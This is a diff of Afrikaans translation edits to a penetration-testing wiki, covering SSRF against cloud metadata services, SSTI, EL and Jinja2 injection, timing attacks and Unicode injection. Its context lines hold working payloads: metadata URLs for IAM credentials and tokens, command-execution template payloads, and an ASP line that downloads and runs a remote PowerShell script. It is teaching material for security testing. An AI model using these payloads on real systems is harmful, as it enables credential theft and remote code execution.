-In hierdie geval word die **bewyse in omgewingsveranderlikes gestoor**. So, om toegang tot hulle te verkry, moet jy iets soos **`file:///proc/self/environ`** benader.
+In hierdie geval word die **bewyse in omgewingsveranderlikes gestoor**. So, om toegang tot hulle te kry, moet jy iets soos **`file:///proc/self/environ`** benader.
 
 Die **name** van die **interessante omgewingsveranderlikes** is:
 
@@ -115,7 +115,7 @@ Die **name** van die **interessante omgewingsveranderlikes** is:
 - `AWS_SECRET_ACCESS_KEY`
 - `AWS_ACCES_KEY_ID`
 
-Boonop, benewens IAM bewese, het Lambda funksies ook **gebeurtenisdata wat aan die funksie oorgedra word wanneer dit begin**. Hierdie data is beskikbaar vir die funksie via die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) en kan **sensitiewe** **inligting** bevat (soos binne die **stageVariables**). Anders as IAM bewese, is hierdie data oor standaard SSRF toeganklik by **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
+Boonop, benewens IAM bewese, het Lambda funksies ook **gebeurtenisdata wat aan die funksie oorgedra word wanneer dit begin**. Hierdie data is beskikbaar vir die funksie via die [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) en kan **sensitiewe** **inligting** bevat (soos binne die **stageVariables**). Anders as IAM bewese, is hierdie data toeganklik oor standaard SSRF by **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
 
 > [!WARNING]
 > Let daarop dat **lambda bewese** binne die **omgewingsveranderlikes** is. So as die **stack trace** van die lambda kode omgewingsveranderlikes druk, is dit moontlik om hulle te **exfiltreer deur 'n fout** in die toepassing te veroorsaak.
@@ -133,7 +133,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
 ```
 ![](https://miro.medium.com/max/60/0*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0*4OG-tRUNhpBK96cL)
 
-Dan gebruik ons die akrediteerings met `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
+Dan gebruik ons die akrediteer met `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`.
 
 ## GCP <a href="#id-6440" id="id-6440"></a>
 
@@ -232,7 +232,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/
 http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
 ```
 > [!CAUTION]
-> Om die **uitgehaalde diensrekeningsteken** te gebruik, kan jy net doen:
+> Om die **uitgehaalde diensrekeningtoken** te **gebruik**, kan jy net doen:
 >
 > ```bash
 > # Via omgewings veranderlikes
@@ -248,7 +248,7 @@ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
 
 ### Voeg 'n SSH-sleutel by <a href="#id-3e24" id="id-3e24"></a>
 
-Onttrek die teken
+Onttrek die token
 ```
 http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
 ```
@@ -299,7 +299,7 @@ done
 ## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
 
 > [!WARNING]
-> Daar is nie dinge soos AWS Roles of GCP diensrekening nie, so moenie verwag om metadata-bot geloofsbriewe te vind nie.
+> Daar is nie dinge soos AWS Roles of GCP diensrekening nie, so moenie verwag om metadata bot akkrediteer te vind nie.
 
 Dokumentasie beskikbaar by [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
 ```
@@ -339,7 +339,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
 >   --name <vm-name>
 > ```
 >
-> - Kry **gekoppelde identiteite** met die standaard gekoppelde MI in die metadata:
+> - Kry **gekoppelde identiteite** deur die standaard gekoppelde MI in die metadata te gebruik:
 >
 > ```bash
 > export API_VERSION="2021-12-13"
@@ -362,7 +362,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
 >   "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq
 > ```
 >
-> - **Kry al** die gedefinieerde bestuurde identiteite in die huur en **brute force** om te sien of enige van hulle aan die VM gekoppel is:
+> - **Kry al** die gedefinieerde bestuurde identiteite in die huurder en **brute force** om te sien of enige van hulle aan die VM gekoppel is:
 >
 > ```bash
 > az identity list
@@ -564,7 +564,7 @@ curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance
 # Get IAM credentials
 curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq
 ```
-Dokumentasie vir verskeie platforms se metadata dienste is hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie en runtime inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata dienste te verkry.
+Dokumentasie vir verskeie platforms se metadata dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie en runtime inligting vir instansies verkry kan word. Elke platform bied unieke eindpunte om toegang tot sy metadata dienste te verkry.
 
 ## Packetcloud
 

src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md

@@ -153,18 +153,18 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
 ```
 ### Fuzzing
 
-Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) kan variasies genereer vanaf 'n gegewe invoer om te probeer om die gebruikte regex te omseil. Kyk na [**hierdie pos**](https://0xacb.com/2022/11/21/recollapse/) ook vir meer inligting.
+Die hulpmiddel [**recollapse**](https://github.com/0xacb/recollapse) kan variasies genereer vanaf 'n gegewe invoer om te probeer om die gebruikte regex te omseil. Kyk ook na [**hierdie pos**](https://0xacb.com/2022/11/21/recollapse/) vir meer inligting.
 
 ### Outomatiese Aangepaste Woordlyste
 
-Kyk na die [**URL validasie omseil spiekbrief** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host-header of in 'n CORS-header kan gebruik.
+Kyk na die [**URL validasie omseil cheat sheet** webapp](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) van portswigger waar jy die toegelate gasheer en die aanvallers een kan invoer en dit sal 'n lys van URL's genereer om te probeer. Dit oorweeg ook of jy die URL in 'n parameter, in 'n Host kop of in 'n CORS kop kan gebruik.
 
 {% embed url="https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet" %}
 
-### Omseil via herleiding
+### Omseil via omleiding
 
-Dit mag moontlik wees dat die bediener die **oorspronklike versoek** van 'n SSRF **filter**, maar nie 'n moontlike **herleiding** antwoord op daardie versoek nie.\
-Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** **filter**. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil herlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **benader**.\
+Dit mag moontlik wees dat die bediener die **oorspronklike versoek** van 'n SSRF **filter**, maar nie 'n moontlike **omleidings** antwoord op daardie versoek nie.\
+Byvoorbeeld, 'n bediener wat kwesbaar is vir SSRF via: `url=https://www.google.com/` mag die **url param** **filter**. Maar as jy 'n [python bediener gebruik om met 'n 302 te antwoord](https://pastebin.com/raw/ywAUhFrv) na die plek waar jy wil omlei, mag jy in staat wees om **gefilterde IP adresse** soos 127.0.0.1 of selfs gefilterde **protokolle** soos gopher te **benader**.\
 [Kyk na hierdie verslag.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
 ```python
 #!/usr/bin/env python3
@@ -196,7 +196,7 @@ Die _backslash-trick_ benut 'n verskil tussen die [WHATWG URL Standard](https://
 
 ### Linker vierkantige hakie
 
-Die “linker vierkantige hakie” karakter `[` in die gebruikersinligtingsegment kan veroorsaak dat Spring se UriComponentsBuilder 'n hostname waarde teruggee wat verskil van blaaiers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
+Die “linker vierkantige hakie” karakter `[` in die gebruikersinligting segment kan veroorsaak dat Spring se UriComponentsBuilder 'n hostname waarde teruggee wat verskil van blaaiers: [https://example.com\[@attacker.com](https://portswigger.net/url-cheat-sheet#id=1da2f627d702248b9e61cc23912d2c729e52f878)
 
 ### Ander Verwirring
 

src/pentesting-web/ssti-server-side-template-injection/README.md

@@ -67,9 +67,9 @@ python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment
 
 ## Exploits
 
-### Generic
+### Generies
 
-In hierdie **wordlist** kan jy **veranderlikes gedefinieer** in die omgewings van sommige van die enjin hieronder vind:
+In hierdie **woordlys** kan jy **veranderlikes gedefinieer** in die omgewings van sommige van die enjin hieronder vind:
 
 - [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
 - [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
@@ -172,9 +172,9 @@ ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
 
 Thymeleaf vereis dat hierdie uitdrukkings binne spesifieke eienskappe geplaas word. egter, _uitdrukking inlining_ word ondersteun vir ander sjabloon plekke, met sintaksis soos `[[...]]` of `[(...)]`. Dus, 'n eenvoudige SSTI toets payload kan lyk soos `[[${7*7}]]`.
 
-Die waarskynlikheid dat hierdie payload werk, is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese sjabloon generasie nie; sjablone moet vooraf gedefinieer wees. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om sjablone van strings op-die-vlieg te skep, wat ongewoon is.
+Die waarskynlikheid dat hierdie payload werk, is egter oor die algemeen laag. Thymeleaf se standaardkonfigurasie ondersteun nie dinamiese sjabloon generasie nie; sjablone moet vooraf gedefinieer wees. Ontwikkelaars sal hul eie `TemplateResolver` moet implementeer om sjablone van stringe op die vlieg te skep, wat ongewoon is.
 
-Thymeleaf bied ook _uitdrukking voorverwerking_ aan, waar uitdrukkings binne dubbele onderstrepings (`__...__`) voorverwerk word. Hierdie kenmerk kan benut word in die konstruksie van uitdrukkings, soos gedemonstreer in Thymeleaf se dokumentasie:
+Thymeleaf bied ook _uitdrukking preprocessing_ aan, waar uitdrukkings binne dubbele onderstrepings (`__...__`) vooraf verwerk word. Hierdie kenmerk kan benut word in die konstruksie van uitdrukkings, soos gedemonstreer in Thymeleaf se dokumentasie:
 ```java
 #{selection.__${sel.code}__}
 ```
@@ -373,7 +373,7 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
 - `${{7*7}}` - 49
 - `${{request}}, ${{session}}, {{faceContext}}`
 
-Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE fasiliteer. Dit word wyd gebruik oor verskeie JavaEE-tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieë wat EL benut, sluit in:
+Uitdrukkingstaal (EL) is 'n fundamentele kenmerk wat interaksie tussen die aanbiedingslaag (soos webbladsye) en die toepassingslogika (soos bestuurde bone) in JavaEE fasiliteer. Dit word wyd gebruik oor verskeie JavaEE-tegnologieë om hierdie kommunikasie te stroomlyn. Die sleutel JavaEE-tegnologieë wat EL gebruik, sluit in:
 
 - **JavaServer Faces (JSF)**: Gebruik EL om komponente in JSF-bladsye aan die ooreenstemmende agtergronddata en aksies te bind.
 - **JavaServer Pages (JSP)**: EL word in JSP gebruik om toegang te verkry tot en data binne JSP-bladsye te manipuleer, wat dit makliker maak om bladsy-elemente aan die toepassingsdata te koppel.
@@ -465,7 +465,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
 #Hide warnings and errors for automatic exploitation
 {{["error_reporting", "0"]|sort("ini_set")}}
 ```
-**Twig - Sjabloonformaat**
+**Twig - Sjabloon formaat**
 ```php
 $output = $twig > render (
 'Dear' . $_GET['custom_greeting'],
@@ -501,7 +501,7 @@ Blad sjabloon:
 <h1>User Profile</h1>
 <p>Hello, <?=$this->e($name)?></p>
 ```
-Uitleg sjabloon:
+Layout sjabloon:
 ```html
 <html>
 <head>
@@ -614,7 +614,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
 
 ### patTemplate (PHP)
 
-> [patTemplate](https://github.com/wernerwa/pat-template) nie-samestellende PHP sjabloon enjin, wat XML-tags gebruik om 'n dokument in verskillende dele te verdeel
+> [patTemplate](https://github.com/wernerwa/pat-template) nie-kompilerende PHP templating engine, wat XML-tags gebruik om 'n dokument in verskillende dele te verdeel
 ```xml
 <patTemplate:tmpl name="page">
 This is the main page.
@@ -673,8 +673,8 @@ URLencoded:
 | ------------ | --------------------------------------- |
 |              | Evalueer en render uitvoer              |
 |              | Evalueer en render HTML-gecodeerde uitvoer |
-|              | Kommentaar                              |
-| en           | Laat kode toe (standaard gedeaktiveer)  |
+|              | Kommentaar                                 |
+| en           | Laat kode toe (standaard gedeaktiveer)        |
 
 - \= 49
 
@@ -900,12 +900,12 @@ ${x}
 
 ### Razor (.Net)
 
-- `@(2+2) <= Sukses`
-- `@() <= Sukses`
-- `@("{{code}}") <= Sukses`
-- `@ <=Sukses`
-- `@{} <= FOUT!`
-- `@{ <= FOUT!`
+- `@(2+2) <= Success`
+- `@() <= Success`
+- `@("{{code}}") <= Success`
+- `@ <=Success`
+- `@{} <= ERROR!`
+- `@{ <= ERRROR!`
 - `@(1+2)`
 - `@( //C#Code )`
 - `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
@@ -923,7 +923,7 @@ Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige pro
 - `<%= 7*7 %>` = 49
 - `<%= "foo" %>` = foo
 - `<%= foo %>` = Niks
-- `<%= response.write(date()) %>` = \<Datum>
+- `<%= response.write(date()) %>` = \<Date>
 ```xml
 <%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
 ```
@@ -947,7 +947,7 @@ In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifiek
 
 - `{{ . }}`: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel.
 - `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
-- `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie ondersoek word [here](https://golang.org/pkg/text/template).
+- `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" te retourneer sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie ondersoek word [here](https://golang.org/pkg/text/template).
 
 <figure><img src="../../images/image (8).png" alt="" width="375"><figcaption><p><a href="https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg">https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg</a></p></figcaption></figure>
 
@@ -961,7 +961,7 @@ vbnet Copy code
 
 RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe om enige publieke funksie direk aan te roep (met die “call” waarde), wat nie toegelaat word in `html/template`. Dokumentasie vir hierdie modules is beskikbaar [here for html/template](https://golang.org/pkg/html/template/) en [here for text/template](https://golang.org/pkg/text/template/).
 
-Vir RCE via SSTI in Go, kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos `{{ .System "ls" }}` uitgebuit word. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
+Vir RCE via SSTI in Go, kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
 ```go
 func (p Person) Secret (test string) string {
 out, _ := exec.Command(test).CombinedOutput()
@@ -975,7 +975,7 @@ return string(out)
 
 ### Meer Exploits
 
-Kyk na die res van [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) vir meer exploits. Jy kan ook interessante etiketinligting vind in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
+Kyk na die res van [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) vir meer exploits. Jy kan ook interessante etiket inligting vind in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
 
 ## BlackHat PDF
 

src/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

@@ -15,7 +15,7 @@ Expression Language (EL) is integraal in JavaEE vir die oorbrugging van die aanb
 - **Spring Framework**: Toegepas in verskeie modules soos Sekuriteit en Data.
 - **Algemene Gebruik**: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin, en Scala.
 
-EL is teenwoordig in JavaEE tegnologieë, standalone omgewings, en herkenbaar deur `.jsp` of `.jsf` lêer uitbreidings, stapfoute, en terme soos "Servlet" in koptekste. Dit is egter afhanklik van die weergawe se kenmerke en die gebruik van sekere karakters.
+EL is teenwoordig in JavaEE tegnologieë, standalone omgewings, en herkenbaar deur `.jsp` of `.jsf` lêer uitbreidings, stapfoute, en terme soos "Servlet" in koptekste. Dit is egter afhanklik van die weergawe van sy kenmerke en die gebruik van sekere karakters.
 
 > [!NOTE]
 > Afhangende van die **EL weergawe** mag sommige **kenmerke** **Aan** of **Af** wees en gewoonlik mag sommige **karakters** **verbode** wees.
@@ -182,11 +182,11 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
 T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
 ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
 ```
-### Ondersoek die omgewing
+### Inspectering van die omgewing
 
 - `applicationScope` - globale toepassingsvariabeles
 - `requestScope` - versoekvariabeles
-- `initParam` - toepassingsinisialisering variabeles
+- `initParam` - toepassingsinitalisering variabeles
 - `sessionScope` - sessievariabeles
 - `param.X` - param waarde waar X die naam van 'n http parameter is
 
@@ -208,7 +208,7 @@ ${employee.FirstName}
 
 Kyk na [https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/](https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/)
 
-## References
+## Verwysings
 
 - [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
 - [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)

src/pentesting-web/ssti-server-side-template-injection/jinja2-ssti.md

@@ -65,7 +65,7 @@ Eerstens, in 'n Jinja-inspuiting moet jy **'n manier vind om uit die sandbox te
 ### Toegang tot Globale Objekte
 
 Byvoorbeeld, in die kode `render_template("hello.html", username=username, email=email)` kom die objekte username en email **van die nie-sandboxed python omgewing** en sal **toeganklik** wees binne die **sandboxed omgewing.**\
-Boonop is daar ander objekte wat **altyd toeganklik sal wees vanaf die sandboxed omgewing**, hierdie is:
+Boonop is daar ander objekte wat **altyd vanaf die sandboxed omgewing toeganklik sal wees**, hierdie is:
 ```
 []
 ''
@@ -76,7 +76,7 @@ request
 ```
 ### Herwinning \<class 'object'>
 
-Dan, van hierdie objekten moet ons by die klas kom: **`<class 'object'>`** om te probeer om **herwin** gedefinieerde **klas**. Dit is omdat ons van hierdie objek kan die **`__subclasses__`** metode aanroep en **toegang kry tot al die klasse van die nie-sandboxed** python omgewing.
+Dan, van hierdie objekten moet ons by die klas kom: **`<class 'object'>`** om te probeer om gedefinieerde **klas** te **herwin**. Dit is omdat ons van hierdie objek kan die **`__subclasses__`** metode aanroep en **toegang kry tot al die klasse van die nie-sandboxed** python omgewing.
 
 Om toegang te kry tot daardie **objek klas**, moet jy **toegang kry tot 'n klas objek** en dan toegang kry tot ofwel **`__base__`**, **`__mro__()[-1]`** of `.`**`mro()[-1]`**. En dan, **na** die bereik van hierdie **objek klas** roep ons **`__subclasses__()`** aan.
 
@@ -128,7 +128,7 @@ dict.__mro__[-1]
 
 **Nadat ons herstel het** `<class 'object'>` en `__subclasses__` aangeroep het, kan ons nou daardie klasse gebruik om lêers te lees en te skryf en kode uit te voer.
 
-Die oproep na `__subclasses__` het ons die geleentheid gegee om **honderde nuwe funksies te bekom**, ons sal gelukkig wees net deur toegang te verkry tot die **lêer klas** om **lêers te lees/skryf** of enige klas met toegang tot 'n klas wat **opdragte toelaat om uitgevoer te word** (soos `os`).
+Die oproep na `__subclasses__` het ons die geleentheid gegee om **honderde nuwe funksies te bekom**, ons sal gelukkig wees net deur toegang te verkry tot die **lêer klas** om **lêers te lees/schryf** of enige klas met toegang tot 'n klas wat **opdragte toelaat om uitgevoer te word** (soos `os`).
 
 **Lees/Skryf afstandslêer**
 ```python
@@ -250,7 +250,7 @@ Sonder **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
 Van die [**globale objekte**](jinja2-ssti.md#accessing-global-objects) is daar 'n ander manier om by **RCE te kom sonder om daardie klas te gebruik.**\
 As jy daarin slaag om by enige **funksie** van daardie globale objekte te kom, sal jy toegang hê tot **`__globals__.__builtins__`** en van daar af is die **RCE** baie **eenvoudig**.
 
-Jy kan **funksies** van die objekte **`request`**, **`config`** en enige **ander** interessante **globale objek** waartoe jy toegang het, vind met:
+Jy kan **funksies** van die objekke **`request`**, **`config`** en enige **ander** interessante **globale objek** waartoe jy toegang het, vind met:
 ```bash
 {{ request.__class__.__dict__ }}
 - application
@@ -322,7 +322,7 @@ The request will be urlencoded by default according to the HTTP format, which ca
 ## Verwysings
 
 - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
-- Kyk [attr trick om geblacklistde karakters hier te omseil](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
+- Kyk [attr trick om geblacklisted karakters hier te omseil](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/#python3).
 - [https://twitter.com/SecGus/status/1198976764351066113](https://twitter.com/SecGus/status/1198976764351066113)
 - [https://hackmd.io/@Chivato/HyWsJ31dI](https://hackmd.io/@Chivato/HyWsJ31dI)
 

src/pentesting-web/timing-attacks.md

@@ -10,13 +10,13 @@
 Die basiese doel van 'n timing aanval is basies om in staat te wees om ingewikkelde vrae te beantwoord of versteekte funksies te ontdek deur net **die tydsverskille in die antwoorde van soortgelyke versoeke te kontroleer**.
 
 Tradisioneel was dit baie ingewikkeld weens die latensie en jitter wat deur beide die netwerk en die bediener ingebring is. egter, sedert die ontdekking en verbetering van die [**Race Condition Single Packet aanval**](race-condition.md#http-2-single-packet-attack-vs.-http-1.1-last-byte-synchronization), is dit moontlik om hierdie tegniek te gebruik om alle netwerkvertraging wat geraas veroorsaak, uit die vergelyking te verwyder.\
-Slegs die **bedienervertraging** laat timing aanval makliker ontdek en misbruik.
+Slegs die **bediener vertraging** laat timing aanval makliker ontdek en misbruik.
 
 ## Discoveries
 
 ### Hidden Attack Surface
 
-In die blogpos is daar kommentaar gelewer oor hoe dit moontlik was om versteekte parameters en selfs headers te vind deur net te kontroleer dat wanneer die param of header in die versoek teenwoordig was, daar 'n **tydverskil van ongeveer 5ms** was. Trouens, hierdie ontdekkingstegniek is by **Param Miner** in Burp Suite gevoeg.
+In die blogpos is daar kommentaar gelewer oor hoe dit moontlik was om versteekte parameters en selfs headers te vind deur net te kontroleer dat wanneer die parameter of header in die versoek teenwoordig was, daar 'n **tydverskil van ongeveer 5ms** was. Trouens, hierdie ontdekkingstegniek is by **Param Miner** in Burp Suite gevoeg.
 
 Hierdie tydsverskille kan wees omdat 'n **DNS versoek** uitgevoer is, 'n **log geskryf is** weens 'n ongeldige invoer of omdat sommige **kontroles uitgevoer word** wanneer 'n parameter in die versoek teenwoordig is.
 
@@ -26,7 +26,7 @@ Iets wat jy moet onthou wanneer jy hierdie soort aanvalle uitvoer, is dat weens
 
 In dieselfde navorsing is daar gedeel dat die timing tegniek wonderlik was om "scoped SSRFs" te ontdek (wat SSRFs is wat slegs toegang kan verkry tot toegelate IP/domeine). Net **deur die tydverskil te kontroleer wanneer 'n toegelate domein ingestel is** teenoor wanneer 'n nie-toegelate domein ingestel is, help om oop proxies te ontdek selfs al is die antwoord dieselfde.
 
-Sodra 'n scoped open proxy ontdek is, was dit moontlik om geldige teikens te vind deur bekende subdomeine van die teiken te parse, en dit het toegelaat om:
+Sodra 'n scoped open proxy ontdek is, was dit moontlik om geldige teikens te vind deur bekende subdomeine van die teiken te parse en dit het toegelaat om:
 
 - **Firewalls te omseil** deur toegang te verkry tot beperkte subdomeine via die **oop proxy** in plaas van deur die internet
 - Boonop, deur 'n **oop proxy** te misbruik, is dit ook moontlik om **nuwe subdomeine wat slegs intern toeganklik is, te ontdek.**

src/pentesting-web/unicode-injection/README.md

@@ -4,7 +4,7 @@
 
 ## Introduction
 
-Afhangende van hoe die back-end/front-end optree wanneer dit **weird unicode karakters ontvang**, mag 'n aanvaller in staat wees om **beskermings te omseil en arbitrêre karakters in te spuit** wat gebruik kan word om **inspuitingskwesbaarhede te misbruik** soos XSS of SQLi.
+Afhangend van hoe die back-end/front-end optree wanneer dit **weird unicode karakters ontvang**, mag 'n aanvaller in staat wees om **beskermings te omseil en arbitrêre karakters in te spuit** wat gebruik kan word om **inspuitingskwesbaarhede te misbruik** soos XSS of SQLi.
 
 ## Unicode Normalization
 
@@ -30,7 +30,7 @@ Hierdie kwesbaarheid kom eintlik van 'n kwesbaarheid wat 'n navorser gevind het,
 Back-ends gedra soms vreemd wanneer hulle **emojis ontvang**. Dit is wat gebeur het in [**hierdie skrywe**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) waar die navorser daarin geslaag het om 'n XSS te bereik met 'n payload soos: `💋img src=x onerror=alert(document.domain)//💛`
 
 In hierdie geval was die fout dat die bediener, nadat dit die kwaadwillige karakters verwyder het, **die UTF-8 string van Windows-1252 na UTF-8 omgeskakel het** (basies het die invoer kodering en die omskakeling van kodering nie ooreengestem nie). Dan gee dit nie 'n behoorlike < nie, net 'n vreemde unicode een: `‹`\
-``So het hulle hierdie uitvoer geneem en **weer omskep van UTF-8 na ASCII**. Dit het die `‹` na ` <` genormaliseer, dit is hoe die eksploit op daardie stelsel kon werk.\
+``So het hulle hierdie uitvoer geneem en **weer van UTF-8 na ASCII omgeskakel**. Dit het die `‹` na ` <` genormaliseer, dit is hoe die eksploit op daardie stelsel kon werk.\
 Dit is wat gebeur het:
 ```php
 <?php

src/pentesting-web/unicode-injection/unicode-normalization.md

@@ -19,7 +19,7 @@ Om Unicode-kodering te verstaan, is van kardinale belang, veral wanneer dit kom
 
 - **Kodepunte en Karakters**: In Unicode word elke karakter of simbool 'n numeriese waarde toegeken wat bekend staan as 'n "kodepunt".
 - **Bytes Verteenwoordiging**: Die kodepunt (of karakter) word deur een of meer bytes in geheue verteenwoordig. Byvoorbeeld, LATIN-1 karakters (algemeen in Engelssprekende lande) word met een byte verteenwoordig. egter, tale met 'n groter stel karakters benodig meer bytes vir verteenwoordiging.
-- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene koderingstandaard waar ASCII-karakters met een byte verteenwoordig word, en tot vier bytes vir ander karakters.
+- **Kodering**: Hierdie term verwys na hoe karakters in 'n reeks bytes omgeskakel word. UTF-8 is 'n algemene koderingstandaard waar ASCII karakters met een byte verteenwoordig word, en tot vier bytes vir ander karakters.
 - **Verwerking van Data**: Stelsels wat data verwerk, moet bewus wees van die kodering wat gebruik word om die byte-stroom korrek in karakters om te skakel.
 - **Variantes van UTF**: Benewens UTF-8, is daar ander koderingstandaarde soos UTF-16 (wat 'n minimum van 2 bytes gebruik, tot 4) en UTF-32 (wat 4 bytes vir alle karakters gebruik).
 
@@ -79,17 +79,17 @@ Dan kan 'n kwaadwillige gebruiker 'n ander Unicode karakter wat ekwivalent is aa
 
 ### XSS (Cross Site Scripting)
 
-Jy kan een van die volgende karakters gebruik om die webapp te mislei en 'n XSS te benut:
+Jy kan een van die volgende karakters gebruik om die webapp te mislei en 'n XSS te ontgin:
 
 ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>)
 
